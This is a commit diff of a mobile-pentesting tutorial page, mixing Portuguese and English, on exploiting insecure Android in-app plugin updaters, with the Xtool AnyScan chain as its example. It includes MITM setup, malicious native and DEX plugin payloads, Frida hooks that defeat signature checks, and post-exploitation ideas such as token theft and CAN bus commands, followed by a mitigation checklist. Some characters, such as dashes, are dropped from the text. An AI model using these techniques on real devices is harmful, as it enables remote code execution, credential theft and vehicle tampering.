Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap

This commit is contained in:
Translator 2025-08-27 04:08:15 +00:00
parent ce88affd7f
commit 10ee47dacd

View File

@ -1,16 +1,49 @@
# Mecanismos de Atualização Insegura em Aplicativos Execução Remota de Código via Plugins Maliciosos
# Mecanismos Inseguros de Atualização In-App Remote Code Execution via Malicious Plugins
{{#include ../../banners/hacktricks-training.md}}
Muitos aplicativos Android implementam seus **próprios canais de atualização de “plugin” ou “recurso dinâmico”** em vez de usar a Google Play Store. Quando a implementação é insegura, um atacante capaz de interceptar o tráfego pode fornecer **código nativo arbitrário que será carregado dentro do processo do aplicativo**, levando à execução remota de código (RCE) total no dispositivo e em alguns casos em qualquer dispositivo externo controlado pelo aplicativo (carros, IoT, dispositivos médicos…).
Muitas aplicações Android implementam seus próprios canais de atualização “plugin” ou “dynamic feature” em vez de usar o Google Play Store. Quando a implementação é insegura, um atacante capaz de interceptar ou manipular o tráfego de atualização pode fornecer código nativo ou Dalvik/ART arbitrário que será carregado dentro do processo do app, levando a Remote Code Execution (RCE) completo no aparelho — e, em alguns casos, em qualquer dispositivo externo controlado pelo app (carros, IoT, dispositivos médicos …).
Esta página resume uma cadeia de vulnerabilidade do mundo real encontrada no aplicativo de diagnóstico automotivo Xtool **AnyScan** (v4.40.11 → 4.40.40) e generaliza a técnica para que você possa auditar outros aplicativos Android e transformar a má configuração em uma arma durante um engajamento de red team.
Esta página resume uma cadeia de vulnerabilidades real encontrada no app de diagnóstico automotivo Xtool AnyScan (v4.40.11 → 4.40.40) e generaliza a técnica para que você possa auditar outros apps Android e weaponise a má-configuração durante um red-team engagement.
---
## 1. Identificando um TrustManager TLS Inseguro
## 0. Triagem rápida: o app tem um inapp updater?
Dicas estáticas para procurar no JADX/apktool:
- Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
- Network endpoints like `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
- Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
- Dynamic loaders: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`.
- Unzip paths writing under app-internal or external storage, then immediately loading a `.so`/DEX.
Runtime hooks to confirm:
```js
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});
```
---
## 1. Identificando um TrustManager TLS inseguro
1. Descompile o APK com jadx / apktool e localize a pilha de rede (OkHttp, HttpUrlConnection, Retrofit…).
2. Procure por um **`TrustManager`** ou `HostnameVerifier` personalizado que confia cegamente em todos os certificados:
2. Procure por um `TrustManager` ou `HostnameVerifier` customizado que confia cegamente em todos os certificados:
```java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
@ -22,24 +55,35 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
};
}
```
3. Se presente, o aplicativo aceitará **qualquer certificado TLS** → você pode executar um **proxy MITM** transparente com um certificado autoassinado:
3. Se presente, a aplicação aceitará qualquer certificado TLS → você pode executar um proxy MITM transparente com um self-signed cert:
```bash
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
```
## 2. Engenharia Reversa dos Metadados de Atualização
Se TLS pinning estiver aplicado em vez da lógica insegura trust-all, veja:
No caso do AnyScan, cada lançamento do aplicativo aciona um GET HTTPS para:
{{#ref}}
android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}}
{{#ref}}
make-apk-accept-ca-certificate.md
{{#endref}}
---
## 2. Reverse-Engineering dos Metadados de Atualização
No caso do AnyScan, cada inicialização do app aciona um HTTPS GET para:
```
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
```
O corpo da resposta é um **documento XML** cujos nós `<FileData>` contêm **JSON criptografado em DES-ECB e codificado em Base64** descrevendo cada plugin disponível.
O corpo da resposta é um documento XML cujos nós `<FileData>` contêm JSON criptografado em DES-ECB e codificado em Base64 que descreve cada plugin disponível.
Passos típicos de busca:
1. Localize a rotina de criptografia (por exemplo, `RemoteServiceProxy`) e recupere:
* algoritmo (DES / AES / RC4 …)
* modo de operação (ECB / CBC / GCM …)
* chave / IV codificados (frequentemente chaves DES de 56 bits ou chaves AES de 128 bits em constantes)
Etapas típicas de busca:
1. Localize a rotina criptográfica (por exemplo `RemoteServiceProxy`) e recupere:
- algoritmo (DES / AES / RC4 …)
- modo de operação (ECB / CBC / GCM …)
- chave/IV hard-coded (comumente constantes DES de 56bit ou AES de 128bit)
2. Reimplemente a função em Python para descriptografar / criptografar os metadados:
```python
from Crypto.Cipher import DES
@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
```
## 3. Crie um Plugin Malicioso
Notas observadas no mundo real (20232025):
- Metadados frequentemente são JSON dentro de XML ou protobuf; cifras fracas e chaves estáticas são comuns.
- Muitos updaters aceitam HTTP simples para o download do payload mesmo que os metadados venham por HTTPS.
- Plugins frequentemente descompactam para o armazenamento interno do app; alguns ainda usam armazenamento externo ou o legado `requestLegacyExternalStorage`, permitindo adulteração entre apps.
1. Escolha qualquer plugin legítimo em formato ZIP e substitua a biblioteca nativa pelo seu payload:
---
## 3. Criar um Plugin Malicioso
### 3.1 Caminho da biblioteca nativa (dlopen/System.load[Library])
1. Escolha qualquer plugin ZIP legítimo e substitua a biblioteca nativa pelo seu payload:
```c
// libscan_x64.so constructor runs as soon as the library is loaded
__attribute__((constructor))
@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid(
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
```
2. Atualize os metadados JSON para que `"FileName" : "PWNED.zip"` e `"DownloadURL"` aponte para seu servidor HTTP.
3. Encripte em DES + codifique em Base64 o JSON modificado e cole-o de volta dentro do XML interceptado.
2. Atualize os metadados JSON para que `"FileName" : "PWNED.zip"` e `"DownloadURL"` apontem para o seu servidor HTTP.
3. Re-encriptar + codificar em Base64 o JSON modificado e copiar de volta dentro do XML interceptado.
## 4. Entregue o Payload com mitmproxy
### 3.2 Caminho de plugin baseado em Dex (DexClassLoader)
`addon.py` exemplo que *silenciosamente* troca os metadados originais:
Alguns apps fazem download de um JAR/APK e carregam código via `DexClassLoader`. Construa um DEX malicioso que seja acionado ao carregar:
```java
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
```
```bash
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
```
Se o alvo chamar `Class.forName("pwn.Dropper")`, seu inicializador estático será executado; caso contrário, enumere refletivamente as classes carregadas com Frida e chame um método exportado.
---
## 4. Entregar o Payload com mitmproxy
`addon.py` exemplo que troca silenciosamente os metadados originais:
```python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
@ -89,36 +166,69 @@ MOD_XML,
{"Content-Type": "text/xml"}
)
```
Execute um servidor web simples para hospedar o ZIP malicioso:
Execute um servidor web simples para hospedar o ZIP/JAR malicioso:
```bash
python3 -m http.server 8000 --directory ./payloads
```
Quando a vítima inicia o aplicativo, ele irá:
* buscar nosso XML forjado através do canal MITM;
* descriptografá-lo e analisá-lo com a chave DES codificada;
* baixar `PWNED.zip` → descompactar dentro do armazenamento privado;
* `dlopen()` a *libscan_x64.so* incluída, executando instantaneamente nosso código **com as permissões do aplicativo** (câmera, GPS, Bluetooth, sistema de arquivos, ...).
Quando a vítima iniciar o app, ele irá:
- buscar nosso XML forjado através do canal MITM;
- descriptografar e analisar com a crypto hard-coded;
- baixar `PWNED.zip` ou `plugin.jar` → descompactar no armazenamento privado;
- carregar o `.so` incluído ou DEX, executando instantaneamente nosso código com as permissões do app (câmera, GPS, Bluetooth, sistema de arquivos, …).
Como o plugin é armazenado em cache no disco, o backdoor **persiste entre reinicializações** e é executado toda vez que o usuário seleciona o recurso relacionado.
## 5. Ideias de Pós-Exploração
* Roubar cookies de sessão, tokens OAuth ou JWTs armazenados pelo aplicativo.
* Lançar um APK de segunda fase e instalá-lo silenciosamente via `pm install` (o aplicativo já possui `REQUEST_INSTALL_PACKAGES`).
* Abusar de qualquer hardware conectado no cenário AnyScan, você pode enviar comandos **OBD-II / CAN bus** arbitrários (destrancar portas, desativar ABS, etc.).
Como o plugin é cacheado no disco, o backdoor persiste entre reinicializações e é executado sempre que o usuário seleciona a funcionalidade relacionada.
---
### Lista de Verificação de Detecção e Mitigação (equipe azul)
## 4.1 Contornando verificações de assinatura/hash (quando presentes)
* NUNCA envie uma versão de produção com um TrustManager/HostnameVerifier personalizado que desabilite a validação de certificados.
* Não baixe código executável de fora do Google Play. Se você *precisar*, assine cada plugin com a mesma chave **apkSigning v2** e verifique a assinatura antes de carregar.
* Substitua criptografia fraca/codificada por **AES-GCM** e uma chave rotativa do lado do servidor.
* Valide a integridade dos arquivos baixados (assinatura ou pelo menos SHA-256).
Se o updater valida assinaturas ou hashes, aplique um hook na verificação para sempre aceitar o conteúdo do atacante:
```js
// Frida make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});
```
Also consider stubbing vendor methods such as `PluginVerifier.verifySignature()`, `checkHash()`, or shortcircuiting update gating logic in Java or JNI.
---
## Referências
## 5. Outras superfícies de ataque em atualizadores (20232025)
- [NowSecure Execução Remota de Código Descoberta no Aplicativo Xtool AnyScan](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
- [Android Padrões de TrustManager Inseguros](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
- Zip Slip path traversal while extracting plugins: malicious entries like `../../../../data/data/<pkg>/files/target` overwrite arbitrary files. Sempre saneie os caminhos das entradas e use listas de permissão.
- External storage staging: if the app writes the archive to external storage before loading, any other app can tamper with it. Scoped Storage or internal app storage avoids this.
- Cleartext downloads: metadata over HTTPS but payload over HTTP → straightforward MITM swap.
- Incomplete signature checks: comparing only a single file hash, not the whole archive; not binding signature to developer key; accepting any RSA key present in the archive.
- React Native / Web-based OTA content: if native bridges execute JS from OTA without strict signing, arbitrary code execution in the app context is possible (e.g., insecure CodePush-like flows). Ensure detached update signing and strict verification.
---
## 6. Post-Exploitation Ideas
- Steal session cookies, OAuth tokens, or JWTs stored by the app.
- Drop a second-stage APK and silently install it via `pm install` if possible (some apps already declare `REQUEST_INSTALL_PACKAGES`).
- Abuse any connected hardware in the AnyScan scenario you can send arbitrary OBDII / CAN bus commands (unlock doors, disable ABS, etc.).
---
### Detection & Mitigation Checklist (blue team)
- Avoid dynamic code loading and outofstore updates. Prefer Playmediated updates. If dynamic plugins are a hard requirement, design them as dataonly bundles and keep executable code in the base APK.
- Enforce TLS properly: no custom trustall managers; deploy pinning where feasible and a hardened network security config that disallows cleartext traffic.
- Do not download executable code from outside Google Play. If you must, use detached update signing (e.g., Ed25519/RSA) with a developerheld key and verify before loading. Bind metadata and payload (length, hash, version) and fail closed.
- Use modern crypto (AESGCM) with permessage nonces for metadata; remove hardcoded keys from clients.
- Validate integrity of downloaded archives: verify a signature that covers every file, or at minimum verify a manifest of SHA256 hashes. Reject extra/unknown files.
- Store downloads in appinternal storage (or scoped storage on Android 10+) and use file permissions that prevent crossapp tampering.
- Defend against Zip Slip: normalize and validate zip entry paths before extraction; reject absolute paths or `..` segments.
- Consider Play “Code Transparency” to allow you and users to verify that shipped DEX/native code matches what you built (compliments but does not replace APK signing).
---
## References
- [NowSecure Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
- [Android Developers Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
{{#include ../../banners/hacktricks-training.md}}